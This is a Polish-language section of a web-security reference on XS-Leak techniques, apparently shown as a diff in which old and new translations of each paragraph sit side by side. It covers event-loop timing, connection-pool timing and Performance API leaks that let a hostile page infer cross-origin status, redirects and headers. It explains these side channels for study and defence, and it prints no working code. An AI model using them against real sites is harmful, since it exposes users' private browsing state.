Ponieważ **tylko jedno żądanie płatności może być aktywne** w danym czasie, jeśli strona docelowa korzysta z API żądania płatności, wszelkie dalsze próby użycia tego API zakończą się niepowodzeniem i spowodują **wyjątek JavaScript**. Atakujący może to wykorzystać, **okresowo próbując wyświetlić interfejs API płatności**. Jeśli jedna próba spowoduje wyjątek, strona docelowa aktualnie z niego korzysta. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po utworzeniu.
Ponieważ **tylko jedno żądanie płatności może być aktywne** w danym czasie, jeśli strona docelowa korzysta z API żądania płatności, wszelkie dalsze próby użycia tego API zakończą się niepowodzeniem i spowodują **wyjątek JavaScript**. Atakujący może to wykorzystać, **okresowo próbując wyświetlić interfejs API płatności**. Jeśli jedna próba spowoduje wyjątek, strona docelowa aktualnie z niego korzysta. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po jego utworzeniu.
### Mierzenie pętli zdarzeń <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
- **Metody włączenia**:
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Podsumowanie:** Mierzenie czasu wykonania strony, wykorzystując jednowątkową pętlę zdarzeń JS.
- **Przykład kodu**:
- **Inclusion Methods**:
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Summary:** Mierz czas wykonania strony, wykorzystując jednowątkową pętlę zdarzeń JS.
- **Code Example**:
{{#ref}}
xs-search/event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript działa na modelu współbieżności [jednowątkowej pętli zdarzeń](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), co oznacza, że **może wykonywać tylko jedno zadanie w danym czasie**. Ta cecha może być wykorzystana do oszacowania **jak długo kod z innego źródła zajmuje wykonanie**. Atakujący może mierzyć czas wykonania swojego kodu w pętli zdarzeń, ciągle wysyłając zdarzenia z ustalonymi właściwościami. Te zdarzenia będą przetwarzane, gdy pula zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej puli, **atakujący może wywnioskować czas, jaki zajmuje wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich własnych zadań**. Ta metoda monitorowania pętli zdarzeń pod kątem opóźnień może ujawniać czas wykonania kodu z różnych źródeł, potencjalnie ujawniając wrażliwe informacje.
JavaScript działa na modelu współbieżności [jednowątkowej pętli zdarzeń](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), co oznacza, że **może wykonywać tylko jedno zadanie w danym czasie**. Ta cecha może być wykorzystana do oszacowania **jak długo kod z innego źródła zajmuje wykonanie**. Atakujący może zmierzyć czas wykonania swojego kodu w pętli zdarzeń, ciągle wysyłając zdarzenia z ustalonymi właściwościami. Te zdarzenia będą przetwarzane, gdy pula zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej puli, **atakujący może wywnioskować czas, jaki zajmuje wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich własnych zadań**. Ta metoda monitorowania pętli zdarzeń pod kątem opóźnień może ujawniać czas wykonania kodu z różnych źródeł, potencjalnie ujawniając wrażliwe informacje.
> [!WARNING]
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
### Zajęta pętla zdarzeń <a href="#busy-event-loop" id="busy-event-loop"></a>
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Metody włączenia**:
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Podsumowanie:** Jedna z metod mierzenia czasu wykonania operacji w sieci polega na celowym blokowaniu pętli zdarzeń w wątku, a następnie mierzeniu **jak długo zajmuje ponowne udostępnienie pętli zdarzeń**. Wstawiając operację blokującą (taką jak długie obliczenia lub synchroniczne wywołanie API) do pętli zdarzeń i monitorując czas, jaki zajmuje rozpoczęcie wykonania kolejnego kodu, można wywnioskować czas trwania zadań, które były wykonywane w pętli zdarzeń podczas okresu blokowania. Ta technika wykorzystuje jednowątkowy charakter pętli zdarzeń JavaScript, gdzie zadania są wykonywane sekwencyjnie, i może dostarczyć informacji o wydajności lub zachowaniu innych operacji dzielących ten sam wątek.
- **Przykład kodu**:
- **Inclusion Methods**:
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** Jedną z metod pomiaru czasu wykonania operacji webowej jest celowe blokowanie pętli zdarzeń w wątku, a następnie mierzenie **jak długo trwa, zanim pętla zdarzeń stanie się znowu dostępna**. Wstawiając operację blokującą (taką jak długie obliczenia lub synchroniczne wywołanie API) do pętli zdarzeń i monitorując czas, jaki zajmuje rozpoczęcie wykonania kolejnego kodu, można wywnioskować czas trwania zadań, które były wykonywane w pętli zdarzeń w czasie blokady. Ta technika wykorzystuje jednowątkowy charakter pętli zdarzeń JavaScript, gdzie zadania są wykonywane sekwencyjnie, i może dostarczyć informacji o wydajności lub zachowaniu innych operacji dzielących ten sam wątek.
- **Code Example**:
Znaczącą zaletą techniki mierzenia czasu wykonania poprzez blokowanie pętli zdarzeń jest jej potencjał do obejścia **Izolacji Stron**. **Izolacja Stron** to funkcja zabezpieczeń, która oddziela różne strony internetowe w osobnych procesach, mająca na celu zapobieganie bezpośredniemu dostępowi złośliwych stron do wrażliwych danych z innych stron. Jednak wpływając na czas wykonania innego źródła poprzez wspólną pętlę zdarzeń, atakujący może pośrednio wydobyć informacje o działaniach tego źródła. Ta metoda nie polega na bezpośrednim dostępie do danych innego źródła, lecz raczej obserwuje wpływ działań tego źródła na wspólną pętlę zdarzeń, omijając w ten sposób bariery ochronne ustanowione przez **Izolację Stron**.
Znaczną zaletą techniki pomiaru czasu wykonania poprzez blokowanie pętli zdarzeń jest jej potencjał do obejścia **Izolacji Stron**. **Izolacja Stron** to funkcja zabezpieczeń, która oddziela różne strony internetowe w osobnych procesach, mająca na celu zapobieganie bezpośredniemu dostępowi złośliwych stron do wrażliwych danych z innych stron. Jednak wpływając na czas wykonania innego źródła poprzez wspólną pętlę zdarzeń, atakujący może pośrednio wydobyć informacje o działaniach tego źródła. Ta metoda nie polega na bezpośrednim dostępie do danych innego źródła, lecz raczej obserwuje wpływ działań tego źródła na wspólną pętlę zdarzeń, omijając w ten sposób bariery ochronne ustanowione przez **Izolację Stron**.
> [!WARNING]
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
### Pula połączeń
### Connection Pool
- **Metody włączenia**: Żądania JavaScript
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Podsumowanie:** Atakujący mógłby zablokować wszystkie gniazda oprócz 1, załadować stronę docelową i jednocześnie załadować inną stronę, czas do momentu, gdy ostatnia strona zaczyna się ładować, to czas, jaki zajęło załadowanie strony docelowej.
- **Przykład kodu**:
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** Atakujący mógłby zablokować wszystkie gniazda oprócz 1, załadować stronę docelową i jednocześnie załadować inną stronę, czas do momentu, gdy ostatnia strona zaczyna się ładować, to czas, jaki zajęło załadowanie strony docelowej.
- **Code Example**:
{{#ref}}
xs-search/connection-pool-example.md
@ -263,166 +263,166 @@ Przeglądarki wykorzystują gniazda do komunikacji z serwerem, ale z powodu ogra
1. Ustalić limit gniazd przeglądarki, na przykład 256 globalnych gniazd.
2. Zajmować 255 gniazd przez dłuższy czas, inicjując 255 żądań do różnych hostów, zaprojektowanych tak, aby utrzymać połączenia otwarte bez ich zakończenia.
3. Wykorzystać 256. gniazdo do wysłania żądania do strony docelowej.
4. Spróbować 257. żądania do innego hosta. Ponieważ wszystkie gniazda są zajęte (zgodnie z krokami 2 i 3), to żądanie będzie oczekiwać, aż gniazdo stanie się dostępne. Opóźnienie przed tym żądaniem dostarcza atakującemu informacji o czasie aktywności sieci związanej z 256. gniazdem (gniazdo strony docelowej). To wnioskowanie jest możliwe, ponieważ 255 gniazd z kroku 2 są nadal zajęte, co oznacza, że każde nowo dostępne gniazdo musi być tym zwolnionym z kroku 3. Czas, jaki zajmuje 256. gniazdu, aby stać się dostępnym, jest zatem bezpośrednio związany z czasem, jaki zajmuje zakończenie żądania do strony docelowej.
4. Spróbować 257. żądania do innego hosta. Ponieważ wszystkie gniazda są zajęte (zgodnie z krokami 2 i 3), to żądanie będzie oczekiwać, aż gniazdo stanie się dostępne. Opóźnienie przed tym żądaniem dostarcza atakującemu informacji o czasie aktywności sieciowej związanej z 256. gniazdem (gniazdo strony docelowej). To wnioskowanie jest możliwe, ponieważ 255 gniazd z kroku 2 są nadal zajęte, co sugeruje, że każde nowo dostępne gniazdo musi być tym zwolnionym z kroku 3. Czas, jaki zajmuje, aby 256. gniazdo stało się dostępne, jest zatem bezpośrednio związany z czasem potrzebnym na zakończenie żądania do strony docelowej.
Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
Dla więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Pula połączeń według docelowego
### Connection Pool by Destination
- **Metody włączenia**: Żądania JavaScript
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**:
- **Podsumowanie:** To jak poprzednia technika, ale zamiast używać wszystkich gniazd, Google **Chrome** nakłada limit **6 równoczesnych żądań do tego samego źródła**. Jeśli **zablokujemy 5** i następnie **uruchomimy 6.** żądanie, możemy **zmierzyć** czas, a jeśli uda nam się sprawić, że **strona ofiary wyśle** więcej **żądań** do tego samego punktu końcowego, aby wykryć **status** **strony**, **6. żądanie** zajmie **więcej czasu** i możemy to wykryć.
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**:
- **Summary:** To jak poprzednia technika, ale zamiast używać wszystkich gniazd, Google **Chrome** nakłada limit **6 równoczesnych żądań do tego samego źródła**. Jeśli **zablokujemy 5** i następnie **uruchomimy 6.** żądanie, możemy **zmierzyć** czas, a jeśli udało nam się sprawić, że **strona ofiary wysłała** więcej **żądań** do tego samego punktu końcowego, aby wykryć **status** **strony**, **6. żądanie** zajmie **więcej czasu** i możemy to wykryć.
## Techniki Performance API
## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) oferuje wgląd w metryki wydajności aplikacji internetowych, dodatkowo wzbogacony przez [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API umożliwia monitorowanie szczegółowych czasów żądań sieciowych, takich jak czas trwania żądań. W szczególności, gdy serwery dołączają nagłówek `Timing-Allow-Origin: *` do swoich odpowiedzi, dodatkowe dane, takie jak rozmiar transferu i czas wyszukiwania domeny, stają się dostępne.
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) oferuje wgląd w metryki wydajności aplikacji webowych, dodatkowo wzbogacony przez [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API umożliwia monitorowanie szczegółowych czasów żądań sieciowych, takich jak czas trwania żądań. Warto zauważyć, że gdy serwery dołączają nagłówek `Timing-Allow-Origin: *` do swoich odpowiedzi, dodatkowe dane, takie jak rozmiar transferu i czas wyszukiwania domeny, stają się dostępne.
Ta bogata ilość danych może być pobierana za pomocą metod takich jak [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) lub [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), zapewniając kompleksowy widok informacji związanych z wydajnością. Dodatkowo, API ułatwia pomiar czasów wykonania, obliczając różnicę między znacznikami czasowymi uzyskanymi z [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Warto jednak zauważyć, że dla niektórych operacji w przeglądarkach takich jak Chrome, precyzja `performance.now()` może być ograniczona do milisekund, co może wpłynąć na szczegółowość pomiarów czasowych.
Te bogate dane można uzyskać za pomocą metod takich jak [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) lub [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), co zapewnia kompleksowy widok informacji związanych z wydajnością. Dodatkowo, API umożliwia pomiar czasów wykonania, obliczając różnicę między znacznikami czasowymi uzyskanymi z [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Warto jednak zauważyć, że dla niektórych operacji w przeglądarkach takich jak Chrome, precyzja `performance.now()` może być ograniczona do milisekund, co może wpłynąć na dokładność pomiarów czasowych.
Poza pomiarami czasowymi, Performance API może być wykorzystywane do uzyskiwania informacji związanych z bezpieczeństwem. Na przykład, obecność lub brak stron w obiekcie `performance` w Chrome może wskazywać na zastosowanie `X-Frame-Options`. W szczególności, jeśli strona jest zablokowana przed renderowaniem w ramce z powodu `X-Frame-Options`, nie zostanie zarejestrowana w obiekcie `performance`, co daje subtelny wskazówkę o politykach ramkowania strony.
Poza pomiarami czasowymi, Performance API można wykorzystać do uzyskania informacji związanych z bezpieczeństwem. Na przykład, obecność lub brak stron w obiekcie `performance` w Chrome może wskazywać na zastosowanie `X-Frame-Options`. Konkretnie, jeśli strona jest zablokowana przed renderowaniem w ramce z powodu `X-Frame-Options`, nie zostanie zarejestrowana w obiekcie `performance`, co stanowi subtelny wskazówkę na temat polityki ramkowania strony.
### Wyciek błędu
### Error Leak
- **Metody włączenia**: Ramki, Elementy HTML
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Żądanie, które kończy się błędem, nie utworzy wpisu czasowego zasobów.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
- **Inclusion Methods**: Frames, HTML Elements
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Żądanie, które kończy się błędami, nie utworzy wpisu czasowego zasobów.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
Możliwe jest **rozróżnienie między kodami statusu odpowiedzi HTTP**, ponieważ żądania, które prowadzą do **błędu**, **nie tworzą wpisu wydajności**.
### Błąd przeładowania stylu
### Style Reload Error
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Z powodu błędu przeglądarki, żądania, które kończą się błędami, są ładowane dwukrotnie.
- **Przykład kodu**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Z powodu błędu przeglądarki, żądania, które kończą się błędami, są ładowane dwukrotnie.
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
W poprzedniej technice zidentyfikowano również dwa przypadki, w których błędy przeglądarki w GC prowadzą do **ładowania zasobów dwukrotnie, gdy nie udaje się ich załadować**. To spowoduje wiele wpisów w API wydajności i może być zatem wykryte.
### Błąd łączenia żądań
### Request Merging Error
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Żądania, które kończą się błędem, nie mogą być scalane.
- **Przykład kodu**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Żądania, które kończą się błędem, nie mogą być scalane.
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Technika ta została znaleziona w tabeli w wspomnianym dokumencie, ale nie znaleziono opisu techniki. Możesz jednak znaleźć kod źródłowy sprawdzający to w [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Wyciek pustej strony
### Empty Page Leak
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Puste odpowiedzi nie tworzą wpisów czasowych zasobów.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Puste odpowiedzi nie tworzą wpisów czasowych zasobów.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Atakujący może wykryć, czy żądanie zakończyło się pustym ciałem odpowiedzi HTTP, ponieważ **puste strony nie tworzą wpisu wydajności w niektórych przeglądarkach**.
### **Wyciek XSS-Auditor**
### **XSS-Auditor Leak**
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Używając XSS Audytora w Zabezpieczeniach Asercji, atakujący mogą wykrywać konkretne elementy stron internetowych, obserwując zmiany w odpowiedziach, gdy skonstruowane ładunki wyzwalają mechanizm filtrowania audytora.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Używając XSS Audytora w Asercjach Bezpieczeństwa, atakujący mogą wykrywać konkretne elementy stron internetowych, obserwując zmiany w odpowiedziach, gdy skonstruowane ładunki wyzwalają mechanizm filtrowania audytora.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
W Zabezpieczeniach Asercji (SA) XSS Audytor, pierwotnie zaprojektowany w celu zapobiegania atakom Cross-Site Scripting (XSS), może paradoksalnie być wykorzystywany do wycieku wrażliwych informacji. Chociaż ta wbudowana funkcja została usunięta z Google Chrome (GC), nadal jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że XSS Audytor mógł nieumyślnie blokować legalne skrypty, prowadząc do fałszywych pozytywów. Na tym tle badacze opracowali techniki wydobywania informacji i wykrywania konkretnych treści na stronach z innego źródła, koncepcji znanej jako XS-Leaks, pierwotnie zgłoszonej przez Teradę i rozwiniętej przez Heyesa w poście na blogu. Chociaż te techniki były specyficzne dla XSS Audytora w GC, odkryto, że w SA strony zablokowane przez XSS Audytora nie generują wpisów w API wydajności, ujawniając metodę, dzięki której wrażliwe informacje mogą być nadal wyciekane.
W Asercjach Bezpieczeństwa (SA) XSS Auditor, pierwotnie zaprojektowany w celu zapobiegania atakom Cross-Site Scripting (XSS), może paradoksalnie być wykorzystywany do wycieku wrażliwych informacji. Chociaż ta wbudowana funkcja została usunięta z Google Chrome (GC), nadal jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że XSS Auditor mógł nieumyślnie blokować legalne skrypty, prowadząc do fałszywych pozytywów. Na tej podstawie badacze opracowali techniki wydobywania informacji i wykrywania konkretnych treści na stronach z innego źródła, koncepcji znanej jako XS-Leaks, pierwotnie zgłoszonej przez Teradę i rozwiniętej przez Heyesa w poście na blogu. Chociaż te techniki były specyficzne dla XSS Audytora w GC, odkryto, że w SA strony zablokowane przez XSS Audytora nie generują wpisów w API wydajności, ujawniając metodę, dzięki której wrażliwe informacje mogą nadal być wyciekane.
### Wyciek X-Frame
### X-Frame Leak
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Podsumowanie:** Zasób z nagłówkiem X-Frame-Options nie tworzy wpisu czasowego zasobów.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Summary:** Zasób z nagłówkiem X-Frame-Options nie tworzy wpisu czasowego zasobów.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Jeśli strona **nie jest dozwolona** do **renderowania** w **iframe**, nie tworzy **wpisu wydajności**. W rezultacie atakujący może wykryć nagłówek odpowiedzi **`X-Frame-Options`**.\
To samo dotyczy użycia tagu **embed**.
To samo dzieje się, jeśli używasz tagu **embed**.
### Wykrywanie pobierania
### Download Detection
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Pobrania nie tworzą wpisów czasowych zasobów w API wydajności.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Pobrania nie tworzą wpisów czasowych zasobów w API wydajności.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Podobnie jak w opisanym XS-Leak, **zasób, który jest pobierany** z powodu nagłówka ContentDisposition, również **nie tworzy wpisu wydajności**. Ta technika działa we wszystkich głównych przeglądarkach.
### Wyciek czasu rozpoczęcia przekierowania
### Redirect Start Leak
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Przekierowanie
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Wpis czasowy zasobów ujawnia czas rozpoczęcia przekierowania.
- **Przykład kodu**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
- **Inclusion Methods**: Frames
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Wpis czasowy zasobów ujawnia czas rozpoczęcia przekierowania.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Znaleźliśmy jeden przypadek XS-Leak, który wykorzystuje zachowanie niektórych przeglądarek, które rejestrują zbyt wiele informacji dla żądań z innego źródła. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów z innego źródła. Jednak w **SA** możliwe jest wykrycie, czy użytkownik jest **przekierowywany** przez stronę docelową, zapytując API **Performance** i sprawdzając dane czasowe **redirectStart**.
Znaleźliśmy jeden przypadek XS-Leak, który wykorzystuje zachowanie niektórych przeglądarek, które rejestrują zbyt wiele informacji dla żądań z innego źródła. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów z innego źródła. Jednak w **SA** możliwe jest wykrycie, czy użytkownik jest **przekierowywany** przez stronę docelową, zapytując API **Performance API** i sprawdzając dane czasowe **redirectStart**.
### Wyciek czasu trwania przekierowania
### Duration Redirect Leak
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Przekierowanie
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Czas trwania wpisów czasowych jest ujemny, gdy występuje przekierowanie.
- **Przykład kodu**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Czas trwania wpisów czasowych jest ujemny, gdy występuje przekierowanie.
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
W GC, **czas trwania** dla żądań, które kończą się **przekierowaniem**, jest **ujemny** i można go zatem **rozróżnić** od żądań, które nie kończą się przekierowaniem.
W GC, **czas trwania** dla żądań, które kończą się **przekierowaniem**, jest **ujemny** i można go w ten sposób **rozróżnić** od żądań, które nie kończą się przekierowaniem.
### Wyciek CORP
### CORP Leak
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Zasób chroniony przez CORP nie tworzy wpisów czasowych zasobów.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Zasób chroniony przez CORP nie tworzy wpisów czasowych zasobów.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
W niektórych przypadkach, **wpis nextHopProtocol** może być użyty jako technika wycieku. W GC, gdy nagłówek **CORP** jest ustawiony, nextHopProtocol będzie **pusty**. Należy zauważyć, że SA w ogóle nie utworzy wpisu wydajności dla zasobów z włączonym CORP.
W niektórych przypadkach, **wpis nextHopProtocol** może być użyty jako technika wycieku. W GC, gdy nagłówek **CORP** jest ustawiony, nextHopProtocol będzie **pusty**. Zauważ, że SA w ogóle nie utworzy wpisu wydajności dla zasobów z włączonym CORP.
### Service Worker
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
- **Podsumowanie:** Wykrywanie, czy zarejestrowano service worker dla konkretnego źródła.
- **Przykład kodu**:
- **Inclusion Methods**: Frames
- **Detectable Difference**: API Usage
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
- **Summary:** Wykryj, czy zarejestrowano serwis worker dla konkretnego źródła.
- **Code Example**:
Service worker to kontekst skryptowy wyzwalany zdarzeniami, który działa w danym źródle. Działa w tle strony internetowej i może przechwytywać, modyfikować i **buforować zasoby**, aby tworzyć aplikacje internetowe offline.\
